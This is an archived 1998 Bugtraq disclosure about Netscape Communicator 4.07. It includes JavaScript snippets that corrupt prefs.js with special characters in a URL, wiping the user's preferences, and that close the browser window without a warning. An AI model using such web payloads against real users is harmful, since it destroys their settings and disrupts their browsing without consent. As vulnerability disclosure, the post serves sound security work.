Date: Mon, 19 Oct 1998 16:25:26 +0200
From: Themag00ru <XThemag00ru@USA.NETX>
To: BUGTRAQ@netspace.org
Subject: Netscape Communicator 4.07 - Prefs.js Reset


I don`t know if this is already known or not.

Anyway if you put alt+0130 characters into the URL, netscape
will write it into the url history in prefs.js
example:
*<SCRIPT LANGUAGE="JavaScript"><!--Do hide from new Mo Zilla
*function oops(){
*window.open("http://somewhere.com/ ^Â^Â^Â^Â^Â^Â^Â","_parent");
*}
*// --></SCRIPT>
would go to the specified address and will write the address in prefs.js
After you shut down  netscape and start it later it will give errors like:

unterminated string literal
Default Prefences will be used.

Which means your Preference settings have gone bye bye.
And another thing thats even more weird is the fact that after a few years
of javascript and browser history...this 1 still works:
*<SCRIPT LANGUAGE="JavaScript"><!--
*function oops(){
*window.alert("Bye Bye");
*window.close();
*}
*// --></SCRIPT>
No warnings again just like the older versions it just closes.


Themag00ru